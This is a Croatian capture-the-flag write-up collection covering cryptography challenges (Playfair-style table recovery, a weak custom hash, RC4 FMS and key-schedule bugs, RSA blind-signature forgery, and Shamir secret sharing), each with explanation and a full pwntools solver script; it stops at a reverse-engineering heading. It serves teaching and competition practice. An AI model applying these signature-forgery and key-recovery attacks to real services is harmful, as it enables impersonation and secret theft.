Za šifriranje poruke, poruka se podijeli u skupine od 2 slova tako da, na primjer, “HelloWorld” postaje “HE LL OW OR LD”. Ti će se parovi zamijeniti s pomoću tablice.

Budući da šifriranje zahtijeva parove slova, porukama s neparnim brojem znakova obično se dodaje poseban simbol, u ovom slučaju ..

Dva slova smatraju se suprotnim kutovima pravokutnika u ključnoj tablici. Za provedbu zamjene primjenjuju se sljedeća 4 pravila, redom, na svaki par slova:

1. Ako su oba slova ista (ili je ostalo samo jedno slovo), dodajte . nakon prvog slova. Šifrirajte novi par i nastavite.

2. Ako se slova pojavljuju u istom retku tablice, zamijenite ih slovima koja se nalaze neposredno desno od njih (prelazeći na lijevu stranu retka ako je slovo iz izvornog para bilo na desnoj strani retka).

3. Ako se slova pojavljuju u istom stupcu tablice, zamijenite ih slovima koja se nalaze neposredno ispod njih (prelazeći na gornju stranu stupca ako je slovo iz izvornog para bilo na donjoj strani stupca).

4. Ako slova nisu u istom retku ni stupcu, zamijenite ih slovima u istom retku, ali na drugom paru kutova pravokutnika određenog izvornim parom. Redoslijed je važan – prvo slovo šifriranog para je ono koje se nalazi u istom retku kao prvo slovo para otvorenog teksta.

Ranjivost i ideja napada

Ranjivost programa je kontinuirano kriptiranje proizvoljnog unosa. Kako bi se zadatak riješio, potrebno je rekonstruirati tablicu koja se koristi za šifriranje.

Kako bi se tablica rekonstruirala, moraju se dobiti odnosi simbola u retcima i stupcima tablice. Ako se kao poruka pošalje .., enkripcija vraća UU. To znači da se u istom retku desno od znaka . nalazi U. Ako se zatim pošalje UU enkripcija vraća vU što znači da se desno od znaka U nalazi v. Dokle god se pošalju dva znaka u istom retku, enkripcija će vratiti znakove desno od njih.

Ovim postupkom može se dobiti redoslijed svih znakova u retku, ali ne zna se koji im je pravi indeks u njemu. Ovaj redak će se nazivati prvobitno dobiveni redak u nastavku teksta.

Kako bi se rekonstruirali ostali retci/stupci u tablici šalje se znak koji još nije pojavio te bilo koji znak iz prvobitno dobivenog retka. Ovisno o vraćenoj enkripciji, odnos poslanih znakova može biti idući:

1. Oba znaka se nalaze u istom stupcu, ali različitom retku.

2. Oba znaka se nalaze u različitom stupcu i retku.

Ako oba znaka enkripcije nisu u prvobitno dobivenom retku, radi se o slučaju 1. Time otkrivamo koji znak se nalazi ispod odabranog znaka u prvobitno dobivenom retku.

Ako je u enkripciji drugi znak član prvobitno dobivenog retka, radi se o slučaju 2.

Poseban slučaj je ako su poslana dva znaka u istom stupcu, ali prvi znak se nalazi iznad drugog. Time u enkripciji prvi znak je jednak drugome u poslanoj poruci.

Praćenjem ovih pravila mogu se rekonstruirati odnosi znakova u tablici, no još uvijek nije poznat njihov pravi indeks.

Kako bi se dobio indeks, potrebno je iskoristiti enkripciju zastavice prikazanu na početku programa.

Zastavica počinje znakovima CT, a njihova enkripcija je FV. To znači da su u enkripciji prikazani indeksi znaka F i zatim V.

Ako se konstruirana tablica fiksira na indekse tako da se F nalazi na indeksu koji je prikazan u tablici na početku programa, uspješno je rekonstruirana tablica.

Sve što je preostalo jest pratiti indekse dane u enkripciji zastavice i otkriti koji znakovi su prikazani.

Rješenje

from pwn import *
 
#p = process("./zadatak.py")
p = remote(HOST, PORT)
p.sendline(b"n")
 
table = [["  " for _ in range(19)] for i in range(5)]
found_chars = []
last_char = b"."
 
def get_row():
    for i in range(19):
        global last_char
        p.sendline(last_char * 2)
        p.recvuntil(b"Enkripcija: ")
        last_char = p.recvline()[0:1]
        table[0][i] = last_char
        found_chars.append(last_char)
 
def get_column(char, idx):
    column = []
    p.sendline(char+table[0][idx])
    p.recvuntil(b"Enkripcija: ")
    enc = p.recvline()[:-1]
    b1 = enc[0:1]
    b2 = enc[1:]
    if b1 == table[0][idx]:
        #char iznad table[0][idx]
        column.append(char)
        column.append(table[0][idx])
        column.append(b2)
        for i in range(2):
            c1 = column[-2]
            c2 = column[-1]
            p.sendline(c1+c2)
            p.recvuntil(b"Enkripcija: ")
            b2 = p.recvline()[1:2]
            column.append(b2)
        return (column, idx)
 
    elif b2 in table[0]:
        #char u drugom retku i stupcu
        idx2 = table[0].index(b2)
        return get_column(char, idx2)
 
    else:
        #char u istom stupcu
        column.append(char)
        column.append(b1)
        for i in range(3):
            c1 = column[-2]
            c2 = column[-1]
            p.sendline(c1+c2)
            p.recvuntil(b"Enkripcija: ")
            b2 = p.recvline()[1:2]
            column.append(b2)
        return (column, idx)
 
get_row()
def print_table(table):
    for i in range(5):
        print(table[i])
 
for i in range(32,127):
    if chr(i).encode() not in found_chars:
        column, idx = get_column(chr(i).encode(), 0)
        idx2 = column.index(table[0][idx])
        for j in range(4):
            table[1+j][idx] = column[(idx2+1+j) % 5]
            found_chars.append(column[(idx2+1+j) % 5])
 
# Index 3,4 je u prikazu enkripcije. "CT" iz CTF2026[...] se
# pretvori u "FV". Potrebno je namjestiti tablicu da se F nalazi na
# indeksu 3,4.
 
 
indexes = [ (3,4) , (3,18), (3,8), (2,4), (2,8), (2,9), (2,4), (4,11), (1,8), (2,7),
        (1,9), (2,5), (1,12), (2,11), (1,10), (1,8), (2,11), (1,12), (1,6), (1,2), (4,1), (1,6)]
 
def get_index(char, table):
    for i in range(5):
        for j in range(19):
            if table[i][j] == char:
                return i, j
 
row, col = get_index(b"F", table)
key = [["" for i in range(19)] for _ in range(5)]
for i in range(5):
    for j in range(19):
        key[(3+i) % 5][(4+j) % 19] = table[(row + i) % 5][(col + j) % 19]
 
 
# Kopirano iz zadatak.py i uređeno
def decrypt(cipher, key):
    text = b""
    for i in range(len(cipher)//2):
        pair = cipher[i*2:i*2+2]
        row1, col1 = get_index(pair[0:1], key)
        row2, col2 = get_index(pair[1:], key)
 
        if row1 == row2:
            col1 = (col1 - 1) % 19
            col2 = (col2 - 1) % 19
            text += key[row1][col1] + key[row2][col2]
        elif col1 == col2:
            row1 = (row1 - 1) % 5
            row2 = (row2 - 1) % 5
            text += key[row1][col1] + key[row2][col2]
        else:
            tmp1 = col1
            col1 = col2
            col2 = tmp1
            text += key[row1][col1] + key[row2][col2]
    return text
 
decryption = b""
for i in range(len(indexes)//2):
    row1, col1 = indexes[i*2]
    row2, col2 = indexes[i*2+1]
 
    enc = key[row1][col1] + key[row2][col2]
    decryption += decrypt(enc, key)
 
print(decryption)

Hash it out

Razvijen je novi hashing algoritam koji je trenutačno u beta testiranju.
Možete li pronaći ranjivost tako da otkrijete koji je bio uneseni flag
iz kojega je dobiven "flag hash" prikazan spajanjem na zadatak?
Možete slati 3 zahtjeva po minuti, ali u svakom zahtjevu možete zadati 
500 unosa odvojenih zarezom za izračun hasha.
Napomena: Flag je u uobičajenom formatu ( CTF2026[<12 znamenki>] )

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16003

Kontekst zadatka

Nije dan izvorni kod. Iz opisa zadatka: Nepoznati hash algoritam. Rate limit je 3 zahtjeva po minuti gdje jedan zahtjev može poslati 500 unosa za koje poslužitelj vraća hasheve.

Ranjivost i ideja napada

Svaka pozicija u unosu utječe na samo 3-5 (nasumičnih) izlaznih pozicija gdje izlazne pozicije mogu biti iste. PRNG koji određuje koja ulazna pozicija utječe na koje izlazne pozicije se temelji na dužini unosa te je poznato da je zastavica duljine 21.

Statistički, za određenu dužinu unosa, na neku izlaznu poziciju će utjecati samo jedna jedina pozicija unosa. Ovakve izlazne pozicije su “sidra” (eng. anchor). Kad se detektiraju, mogu se sa sigurnošću riješiti unutar 10 zahtjeva jer njihove vrijednosti mogu biti jedino znamenke 0-9.

Jedno “sidro” izlazne pozicije sa sigurnošću određuje koji je znak na jednoj unosnoj poziciji, čime se riješe i ostale 2-4 pozicije na koje ta unosna pozicija utječe.

Tako neke izlazne pozicije na koje utječu 3,4 ili 5 ulaznih pozicija, nakon rješavanja svih “sidrenih” pozicija padaju u kompleksnosti, neke indirektno budu riješene ili postaju nove sidrene pozicije.

Ovakvim pristupom brzo se rekonstruira traženi input. U većini slučajeva je dovoljno 4 zahtjeva ili manje.

Rješenje

import time
import sys
from pwn import *
 
HOST = "chal.platforma.hacknite.hr"
PORT = 14045
FIND_ALL_COLLISIONS = True 
context.log_level = 'error'
 
class Oracle:
    def __init__(self):
        self.p = None
        self.target_hash = ""
        self.minute_start = 0
        self.requests_this_minute = 0
        self.total_network_requests = 0
        self.connect()
 
    def connect(self):
        if self.p:
            self.p.close()
        print("\n[*] (Re)Connecting to Oracle... (Waiting 3s for server delay)")
        self.p = remote(HOST, PORT)
        self.p.recvuntil(b"Flag Hash: ")
        self.target_hash = self.p.recvline().strip().decode()
        self.p.recvuntil(b"requests...\n\n")
        self.minute_start = time.time()
        self.requests_this_minute = 0
 
    def get_hashes(self, payloads):
        now = time.time()
        if now - self.minute_start > 60:
            self.minute_start = now
            self.requests_this_minute = 0
        if self.requests_this_minute >= 3:
            sleep_time = 60 - (now - self.minute_start) + 1
            print(f"\n[SYSTEM] Rate limit approaching (3 req/min).")
            print(f"[*] Sleeping for {sleep_time:.1f} seconds to respect limits (Connection kept alive)...")
            time.sleep(sleep_time)
            self.minute_start = time.time()
            self.requests_this_minute = 0
        self.requests_this_minute += 1
        self.total_network_requests += 1
        print(f"\n[NETWORK] Sending Request #{self.total_network_requests} (Batch Size: {len(payloads)}/100)")
        batched_payload = ",".join(payloads)
        self.p.sendline(batched_payload.encode())
        resp = self.p.recvline().strip().decode()
        hashes = resp.split(",")
        if self.target_hash in hashes:
            win_idx = hashes.index(self.target_hash)
            winning_payload = payloads[win_idx]
            print("\n" + "="*50)
            print(" SERVER VALIDATED COLLISION ")
            print(f" -> Winning Payload: {winning_payload}")
            try:
                victory_text = self.p.recvall(timeout=1).decode().strip()
                print(f"\n{victory_text}")
            except:
                pass
            print("="*50 + "\n")
            if not FIND_ALL_COLLISIONS:
                sys.exit(0)
            else:
                print("[!] FIND_ALL_COLLISIONS is True. Reconnecting to continue search...")
                self.connect()
                return [] # Returning empty array forces the solver to backtrack
        return hashes
 
oracle = Oracle()
print(f"[*] Target Hash: {oracle.target_hash}")
 
print("\n" + "="*40)
print(" PHASE 1: MAPPING DEPENDENCY GRAPH")
print("="*40)
 
payloads = ["CTF2026[000000000000]"]
for i in range(12):
    guess = list("000000000000")
    guess[i] = "1" 
    payloads.append(f"CTF2026[{''.join(guess)}]")
 
results = oracle.get_hashes(payloads)
base_hash = results[0]
hashes = results[1:]
 
rev_deps = {i: [] for i in range(32)} 
input_to_outputs = {i: [] for i in range(12)}
 
for input_idx in range(12):
    h = hashes[input_idx]
    for out_idx in range(32):
        if h[out_idx] != base_hash[out_idx]:
            rev_deps[out_idx].append(input_idx)
            input_to_outputs[input_idx].append(out_idx)
 
print("\n[+] Mapping Complete. Displaying Graph:\n")
for i in range(12):
    print(f"  Input Position {i:2d} -> Affects Output Indices: {input_to_outputs[i]}")
 
print("\n[+] Displaying Output Anchors (Outputs affected by minimal inputs):")
for out_idx in range(32):
    if len(rev_deps[out_idx]) > 0:
        print(f"  Output Index {out_idx:2d} depends on Inputs: {rev_deps[out_idx]}")
 
print("\n" + "="*40)
print(" PHASE 2: CASCADING SOLVER")
print(f" FIND_ALL_COLLISIONS = {FIND_ALL_COLLISIONS}")
print("="*40)
 
found_solutions = []
 
def solve(known_digits, depth=0):
    if all(d is not None for d in known_digits):
        payload = f"CTF2026[{''.join(known_digits)}]"
        h = oracle.get_hashes([payload])
        if not h: 
            found_solutions.append(''.join(known_digits))
            return True
        if h[0] == oracle.target_hash:
            found_solutions.append(''.join(known_digits))
            return True
        return False
 
    indent = "  " * depth
 
    anchors = [] # Format: (out_idx, unk_pos)
    for out_idx in range(32):
        deps = rev_deps[out_idx]
        unknowns = [pos for pos in deps if known_digits[pos] is None]
        if len(unknowns) == 1:
            unk_pos = unknowns[0]
            # Ensure we only target each unknown position once per batch
            if not any(a[1] == unk_pos for a in anchors):
                anchors.append((out_idx, unk_pos))
 
    if anchors:
        anchors = anchors[:10]
        print(f"{indent}[*] PARALLEL ANCHORS FOUND: Gathering guesses for Inputs: {[a[1] for a in anchors]}")
        payloads = []
        for (out_idx, unk_pos) in anchors:
            for guess in range(10):
                test_state = list(known_digits)
                test_state[unk_pos] = str(guess)
                test_state = [d if d is not None else "0" for d in test_state]
                payloads.append(f"CTF2026[{''.join(test_state)}]")
        results = oracle.get_hashes(payloads)
        if not results: return False
        new_known = list(known_digits)
        success = True
        idx = 0
        for (out_idx, unk_pos) in anchors:
            found_match = False
            for guess in range(10):
                if idx < len(results) and results[idx][out_idx] == oracle.target_hash[out_idx]:
                    print(f"{indent} -> [Match] Input {unk_pos} = {guess} aligns Output {out_idx}!")
                    new_known[unk_pos] = str(guess)
                    found_match = True
                idx += 1
            if not found_match:
                print(f"{indent}[X] Conflict at Input {unk_pos}. Backtracking...")
                success = False
                break
        if success:
            return solve(new_known, depth + 1)
        return False
    else:
        min_unknowns = 99
        best_out_idx = -1
        best_unks = []
        for out_idx in range(32):
            deps = rev_deps[out_idx]
            unknowns = [pos for pos in deps if known_digits[pos] is None]
            if 0 < len(unknowns) < min_unknowns:
                min_unknowns = len(unknowns)
                best_out_idx = out_idx
                best_unks = unknowns
        if min_unknowns == 2:
            u1, u2 = best_unks
            print(f"{indent}[!] NO ANCHOR: Output {best_out_idx} affected by Inputs {u1}, {u2}. Batching 100 cross-guesses...")
            payloads = []
            guesses = []
            for g1 in range(10):
                for g2 in range(10):
                    test_state = list(known_digits)
                    test_state[u1] = str(g1)
                    test_state[u2] = str(g2)
                    test_state = [d if d is not None else "0" for d in test_state]
                    payloads.append(f"CTF2026[{''.join(test_state)}]")
                    guesses.append((g1, g2))
            results = oracle.get_hashes(payloads)
            if not results: return False
            branch_success = False
            for i, (g1, g2) in enumerate(guesses):
                if i < len(results) and results[i][best_out_idx] == oracle.target_hash[best_out_idx]:
                    print(f"{indent} -> [Branch Match] Inputs ({u1}={g1}, {u2}={g2}) align Output {best_out_idx}! Branching...")
                    new_known = list(known_digits)
                    new_known[u1] = str(g1)
                    new_known[u2] = str(g2)
                    if solve(new_known, depth + 1):
                        branch_success = True
                        if not FIND_ALL_COLLISIONS: return True
            return branch_success
        else:
            # Fallback for 3+ dependencies
            u1 = best_unks[0]
            print(f"{indent}[!] NO ANCHOR: Output {best_out_idx} heavily dependent. Blind branching Input {u1}...")
            payloads = []
            for guess in range(10):
                test_state = list(known_digits)
                test_state[u1] = str(guess)
                test_state = [d if d is not None else "0" for d in test_state]
                payloads.append(f"CTF2026[{''.join(test_state)}]")
            results = oracle.get_hashes(payloads)
            if not results: return False
            branch_success = False
            for guess in range(10):
                print(f"{indent} -> [Blind Branch] Guessing Input {u1} = {guess}...")
                new_known = list(known_digits)
                new_known[u1] = str(guess)
                if solve(new_known, depth + 1):
                    branch_success = True
                    if not FIND_ALL_COLLISIONS: return True
            return branch_success
solve([None] * 12)
print("\n" + "="*40)
print(f" SOLVE COMPLETE. TOTAL NETWORK REQUESTS: {oracle.total_network_requests}")
if found_solutions:
    print(f" Found {len(found_solutions)} valid 12-digit collision(s):")
    for sol in found_solutions:
        print(f"   CTF2026[{sol}]")
else:
    print(" No solutions found.")
print("="*40)

RC4 Encrpyt

Pronađena je usluga za RC4 enkripciju. Možeš li saznati tajni ključ?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16007

Kontekst zadatka

 RC4 Encrypt

Izvorni kod:

#!/usr/bin/python3
 
from secret import flag #12 znamenki
import sys, os, time
 
i1 = 0
j1 = 0
 
def KSA(key):
    S = [i for i in range(256)]
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % 12]) % 256
        S[i], S[j] = S[j], S[i]
    global i1
    global j1
    i1 = j1 = 0
    return S
 
def get_keystream(S):
    global i1
    global j1
    i1 = (i1 + 1) % 256
    j1 = (j1 + S[i1]) % 256
    S[i1], S[j1] = S[j1], S[i1]
    t = (S[i1] + S[j1]) % 256
    return S[t].to_bytes()
 
def encrypt(poruka, S):
    encryption = b""
    for i in range(len(poruka)):
        b = get_keystream(S)
        encryption += (poruka[i] ^ ord(b)).to_bytes()
    return encryption
 
def print_encryption(encryption):
    print("Enkripcija: ", end = "", flush = True)
    for i in range(len(encryption)):
        for j in range(32, 48):
            sys.stdout.buffer.write(j.to_bytes())
            sys.stdout.flush()
            time.sleep(0.004)
            print("\033[D\033[P", end = "", flush = True)
        sys.stdout.buffer.write(encryption[i:i+1])
        sys.stdout.flush()
    print()
 
 
try:
    while(True):
        os.system("clear")
        os.system("figlet -f big RC4 Encrypt")
        i1 = 0
        ij = 0
        print("\nUnesite inicijalizacijski vektor za svoj session: ", end = "", flush = True)
        IV = sys.stdin.buffer.readline().rstrip(b"\n")
        print("\033[1A\033[J", end = "", flush = True)
        S = KSA(IV + flag)
        print("Prazan unos ponovno pokreće inicijalizaciju!")
        while(True):
            print("Unesite poruku: ", end = "", flush = True)
            poruka = sys.stdin.buffer.readline().rstrip(b"\n")
            if poruka == b"":
                break
            encryption = encrypt(poruka, S)
            print_encryption(encryption)
except Exception as e:
    exit(0)

U skripti je implementiran RC4 algoritam za enkripciju. Program na početku pita korisnika za inicijalizacijski vektor koji se koristi kao prefiks tajnom ključu. Kombinacija inicijalizacijskog vektora i tajnog ključa se zatim koristi za inicijalizaciju niza bajtova keystream.

Nakon inicijalizacije, korisnik može poslati poruku koja se enkriptira operacijom XOR nad poslanim bajtom i bajtom iz niza keystream. U slučaju slanja prazne poruke (samo \n), program se resetira i ponovno kreće od upita za inicijalizacijski vektor.

Ranjivost i ideja napada

Ranjivost 1

RC4 je enkripcija s poznatom ranjivošću. Ako korisnik kontrolira inicijalizacijski vektor, može izvršiti FMS napad na enkripciju. Posebnim unosom u inicijalizacijski vektor, niz bajtova iz keystream će imati preferenciju vraćati bajt na određenom indeksu (pod napadačevom kontrolom) ključa.

Za izvođenje napada, inicijalizacijski vektor IV mora biti u obliku:

[A + 3, 255, N]

gdje je A indeks ključa nad kojim se vrši bruteforce (+ 3 jer je duljina IV 3), a N bajt u rasponu 0-255 (ne uključujući \n zbog implementacije programa).

Izvođenjem bruteforce napada s varijabilnim N, u 255 vrtnji najviše će se pojaviti bajt na indeksu A+3 unutar tajnog ključa. Što je indeks dalje od početka ključa, preferencija postaje manje precizna.

Dakle, napadač vršenjem FMS napada može saznati bajtove ključa (znamenke zastavice) do određenog indeksa. Ako zatim bruteforce napadom pretpostavi ostale znamenke ključa i lokalno inicijalizira keystream te prati odgovara li njegov izlaz izlazu poslužitelja može otkriti tajni ključ.

Rješenje 1

FMS:

#!/usr/bin/python3
 
from pwn import *
 
def simulate(IV, recovered, A):
    key = IV + recovered
    S = list(range(256))
    j = 0
    for i in range(len(key)):
        j = (j + S[i] + key[i]) % 256
        S[i], S[j] = S[j], S[i]
    return S, j
 
 
def FMS(A, recovered):
    table = [0 for _ in range(256)]
    payload = b""
    if args.R:
        p = remote(HOST, PORT)
    else: 
        p = process("./zadatak.py")
    for v in range(256):
        if chr(v) == "\n":
            continue
        IV = (A+3).to_bytes() + b"\xff" + v.to_bytes()
        payload += IV + b"\n" + b"\x00\n\n"
    p.send(payload)
    for v in range(256):
        if chr(v) == "\n":
            continue
        p.recvuntil(b"Enkripcija: ")
        keystream = p.recvline()[-2:-1]
        print(keystream)
        IV = (A+3).to_bytes() + b"\xff" + v.to_bytes()
        S_simulated, j = simulate(IV, recovered, A)
        flag_byte = (int.from_bytes(keystream) - j - S_simulated[A+3]) % 256
        table[flag_byte] += 1
    if args.R:
        p.close()
    else:
        p.kill()
 
    max_found = 0
    index = -1
    for i,v in enumerate(table):
        if v > max_found:
            max_found = v
            index = i
    print(f"Byte: {index.to_bytes()} Times: {max_found}")
    return index.to_bytes()
 
recovered = b""
for i in range(12):
    num = FMS(i, recovered)
    if ord(num) < 0x30 or ord(num) > 0x39:
        break
    recovered += num
 
print(f"Found: {recovered}")
os.system(f"./a.out {recovered.decode()}")

Bruteforce ostalih znamenki:

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
 
unsigned char buf[32];
unsigned long max_iter = 1000000000000ULL;
unsigned char S[256];
unsigned long iterations = 0;
time_t start_time;
unsigned char key_input[13] = "000000000000";
 
 
void test_keys() {
    unsigned char key[12];
    unsigned char test_buf[32];
    for (unsigned char i0 = key_input[0]; i0 < 0x3a; i0++) {
    for (unsigned char i1 = key_input[1]; i1 < 0x3a; i1++) {
    for (unsigned char i2 = key_input[2]; i2 < 0x3a; i2++) {
    for (unsigned char i3 = key_input[3]; i3 < 0x3a; i3++) {
    for (unsigned char i4 = key_input[4]; i4 < 0x3a; i4++) {
    for (unsigned char i5 = key_input[5]; i5 < 0x3a; i5++) {
    for (unsigned char i6 = key_input[6]; i6 < 0x3a; i6++) {
    for (unsigned char i7 = key_input[7]; i7 < 0x3a; i7++) {
    for (unsigned char i8 = key_input[8]; i8 < 0x3a; i8++) {
    for (unsigned char i9 = key_input[9]; i9 < 0x3a; i9++) {
    for (unsigned char i10 = key_input[10]; i10 < 0x3a; i10++) {
    for (unsigned char i11 = key_input[11]; i11 < 0x3a; i11++) {
 
        key[0] = i0; key[1] = i1; key[2] = i2; key[3] = i3;
        key[4] = i4; key[5] = i5; key[6] = i6; key[7] = i7;
        key[8] = i8; key[9] = i9; key[10] = i10; key[11] = i11;
 
        for (int i = 0; i < 256; i++) S[i] = i;
        int j = 0;
        for (int i = 0; i < 256; i++) {
            j = (j + S[i] + key[i % 12]) & 0xFF;
            unsigned char tmp = S[i];
            S[i] = S[j];
            S[j] = tmp;
        }
 
        unsigned int i = 0;
        j = 0;
        int found = 1;
        for (int x = 0; x < 32; x++) {
            i = (i + 1) & 0xFF;
            j = (j + S[i]) & 0xFF;
            unsigned char tmp = S[i];
            S[i] = S[j];
            S[j] = tmp;
            unsigned char t = (S[i] + S[j]) & 0xFF;
            if (S[t] != buf[x]) {
                found = 0;
                break;
            }
        }
        iterations++;
 
        if (found) {
            printf("\n\nKEY: %.12s\n", key);
	    return;
        }
 
    }}}}}}}}}}}}
}
 
int main(int argc, char** argv) {
    if(argc < 2){
	    printf("Usage: %s <argument>\n", argv[0]);
	    return 0;
    }
    argv[1][strcspn(argv[1], "\n")] = '\0';
    if(strlen(argv[1]) > 12){
	printf("Argument smije imati najviše 12 znamenki\n");
	return 0;
    }
    for(int i = 0; i < strlen(argv[1]); i++){
	if (argv[1][i] < 0x30 || argv[1][i] > 0x39){
		printf("Key smije imati samo brojeve\n");
		return 0;
	}
	key_input[i] = argv[1][i];
    }
    int fd = open("./keystream.txt", O_RDONLY);
    if (fd < 0) {
        printf("Could not open keystream.txt\n");
        return 1;
    }
    read(fd, buf, 32);
    close(fd);
    test_keys();
    return 0;
}

Keystream.txt je datoteka koja sadrži niz bajtova iz keystream niza poslužitelja s praznim inicijalizacijskim vektorom.

Ranjivost 2

Program sadrži grešku u implementaciji RC4 enkripcije, specifično u funkciji za inicijalizaciju keystream niza:

        j = (j + S[i] + key[i % 12]) % 256

S obzirom na to da je duljina ključa veća od 12, ako inicijalizacijski vektor nije prazan, ključ se može dobiti kontroliranjem duljine inicijalizacijskog vektora.

Ako se pošalje IV duljine 11, 12. bajt je prva znamenka zastavice te je uključena u inicijalizaciju keystream niza. Ako se zatim bruteforce napadom pretpostavi 12. bajt (znamenka 0-9) i usporedi izlaz s originalnim, može se otkriti prva znamenka zastavice. Ostatak zastavice se otkrije slanjem kraćeg IV (od duljine 10 do 0 ovisno o broju otkrivenih znamenki) te ponovnim izvođenjem bruteforce napada na zadnji bajt ključa.

Rješenje 2
from pwn import *
 
if args.R:
    p = remote(HOST, PORT)
else:
    p = process("./zadatak.py")
 
key = b""
 
for i in range(12):
    p.sendline(b"A" * (11-i))
    p.sendline(b"\x00"*4)
    p.recvuntil(b"Enkripcija: ")
    keystream = p.recvline()[-2:-1]
    for j in range(10):
        p.sendline()
        p.sendline(b"A" * (11-i) + key + chr(0x30 + j).encode())
        p.sendline(b"\x00"*4)
        p.recvuntil(b"Enkripcija: ")
        keystream2 = p.recvline()[-2:-1]
        if keystream2 == keystream:
            key += chr(0x30+j).encode()
            print(key)
            break
    p.sendline()
 
print(f"Flag: CTF2026[{key}]")

RSA Log In

Kako bi se korisnik prijavio, potreban mu je ispravan potpis
za njegovo korisničko ime. Probaj se prijaviti!

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16004

Kontekst zadatka

Izvorni kod:

#!/usr/bin/python3
 
from Crypto.Util.number import *
from secret import *
import os
import sys
 
def log_in():
    try:
        username = input("Unesi korisničko ime: ")
        signature = int(input("Unesi potpis korisničkog imena: "))
        username2 = pow(signature, e, N)
        username2 = long_to_bytes(username2).decode()
        if username == username2:
            print(f"Dobrodošao {username}")
            if username == "Admin":
                print(f"{flag=}")
        else:
            print("Neispravan potpis")
        exit()
    except:
        exit()
 
def register():
    try:
        print("Unesi korisničko ime: ", flush = True)
        username = sys.stdin.buffer.readline().strip(b"\n")
        u = bytes_to_long(username)
        u = u % N
        username = long_to_bytes(u)
        if username == b"Admin":
            print("Zabranjeno")
            exit()
        username = bytes_to_long(username)
        signature = pow(username, d, N)
        print(f"Potpis = {signature}")
    except:
        exit()
 
os.system("figlet -f big RSA Log In")
print(f"\n{N=}")
print(f"{e=}\n")
 
print("Odaberi opciju:")
print("1. Registracija\n2. Prijava")
opcija = input("Opcija [1/2]: ")
if opcija == "1":
    register()
elif opcija == "2":
    log_in()

Korisniku su ponuđene opcije registracije i prijave.

Kako bi se registrirao, potrebno je unijeti korisničko ime, nakon čega poslužitelj vraća digitalni potpis korisničkog imena.

Da bi se korisnik prijavio, potrebno je unijeti korisničko ime i ispravni digitalni potpis.

Ranjivost i ideja napada

Digitalni potpis ne koristi hash, zbog čega je moguć Blinding napad. Blinding napadom može se dobiti proizvoljan potpis slanjem poruke:

(M * pow(i,e,N)) % N

gdje je M tekst nad kojim se želi dobiti potpis. Poslužitelj potpisuje svojim privatnim ključem d i vraća:

pow(M * pow(i,e),d) = M**d * i (mod N)

Jednostavnim množenjem s inverzom broja i dobije se potpis za M.

Rješenje

from pwn import *
from Crypto.Util.number import *
 
if args.R:
    p = remote(HOST, PORT)
else:
    p = process("./zadatak.py")
 
p.recvuntil(b"N=")
N = int(p.recvline()[:-1])
p.recvuntil(b"e=")
e = int(p.recvline()[:-1])
p.sendline(b"1")
p.recvuntil("Unesi korisničko ime".encode("UTF-8"))
 
username = bytes_to_long(b"Admin")
i = 2
username_bytes = b""
while(True):
    u = (username * pow(i, e, N)) % N
    u = long_to_bytes(u)
    if b"\n" in u:
        i += 1
        continue
    username_bytes = u
    break
 
p.sendline(username_bytes)
p.recvuntil(b"Potpis = ")
signature = int(p.recvline()[:-1])
signature = (signature * inverse(i, N)) % N
if args.R:
    p.close()
    p = remote(HOST, PORT)
else:
    p.kill()
    p = process("./zadatak.py")
 
p.sendline(b"2")
p.sendline(b"Admin")
p.sendline(str(signature).encode())
p.recvuntil(b"flag=")
flag = p.recvline()
print(flag)

Secret Sharing

Podijeljena je tajna poruka SSS algoritmom, međutim, podijeljeno je premalo točaka
kako bi se poruka ispravno rekonstruirala. Možeš li i dalje doći do nje?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 16006

Kontekst zadatka

 Secret Sharing

Izvorni kod:

#!/usr/bin/python3
 
from Crypto.Util.number import *
import random, os
 
 
flag = b"CTF2026[????????????]"
flag = bytes_to_long(flag)
 
os.system("figlet -f big Secret sharing")
 
def gen_key():
    key = [random.randint(1,256) for _ in range(32)]
    return key
 
key = gen_key()
key[0] = flag
N = getPrime(256)
print(f"\nN = {N}\n")
 
try:
    coef = input("Odaberi svoj koeficijent [1-N]: ")
    key[31] = abs(int(coef)) % N
except:
    exit()
 
def get_y(x):
    y = 0
    for i in range(32):
        y += key[i]*x**i
    return pow(y,1,N)
 
print("\nTočke:")
 
for _ in range(29):
    x = random.randint(1,1000)
    y = get_y(x)
    print(f"({x},{y})")

Program koristi Shamir Secret Sharing (SSS) algoritam za dijeljenje tajne poruke. Na početku programa korisnika se pita za njegov proizvoljni koeficijent, nakon čega se ispiše 29 točaka koje pripadaju zadanom polinomu.

Ranjivost i ideja napada

Kako bi se otkrila tajna poruka za polinom stupnja 31, potrebno je znati 32 točke. S obzirom na to da se korisnika pita za njegov proizvoljni koeficijent za član stupnja 31, korisnik može unijeti 0, što snižava polinom u stupanj 30. Time se smanjuje broj potrebnih točaka za rekonstrukciju poruke na 31.

Koeficijenti polinoma odabrani su na sljedeći način:

def gen_key():
    key = [random.randint(1,256) for _ in range(32)]
    return key

Svaki koeficijent nalazi se u rasponu 1-255.

Kako bi se zadatak riješio, potrebno je bruteforce napadom pretpostaviti koeficijente uz članove stupnja 30 i 29 i konstruirati polinom. Ako rekonstrukcijom koeficijent na indeksu 0 počinje s CTF2026, odabrana su ispravna dva koeficijenta.

Rješenje

from sage.all import *
from Crypto.Util.number import *
from pwn import *
 
found = 0
points = []
if args.R:
    p = remote(HOST, PORT)
else:
    p = process(["python3","zadatak.py"])
p.recvuntil(b"N = ")
N = int(p.recvline()[:-1])
p.sendline(b"0")
p.recvuntil("Točke:\n".encode())
for i in range(29):
    point = p.recvline()[:-1]
    x,y = point.strip(b"()").split(b",")
    points.append((int(x),int(y)))
if args.R:
    p.close()
else:
    p.kill()
PR = PolynomialRing(GF(N), "x")
print("Bruteforce (do 256):")
for i in range(256):
    print(f"{i=}")
    for j in range(256):
        try:
            modified_points = []
            for index, p in enumerate(points):
                x, y = p
                y = (y - (i+1)*x**30 - (j+1)*x**29) % N
                modified_points.append((x,y))
            F = PR.lagrange_polynomial(modified_points)
            secret = long_to_bytes(int(F[0]))
            if b"CTF2026" in secret:
                print(secret)
                found = 1
                break
        except:
            pass
    if found:
        break
if not found:
    print("Unlucky, probaj opet")

Reverzno inženjerstvo

Game Rev 2

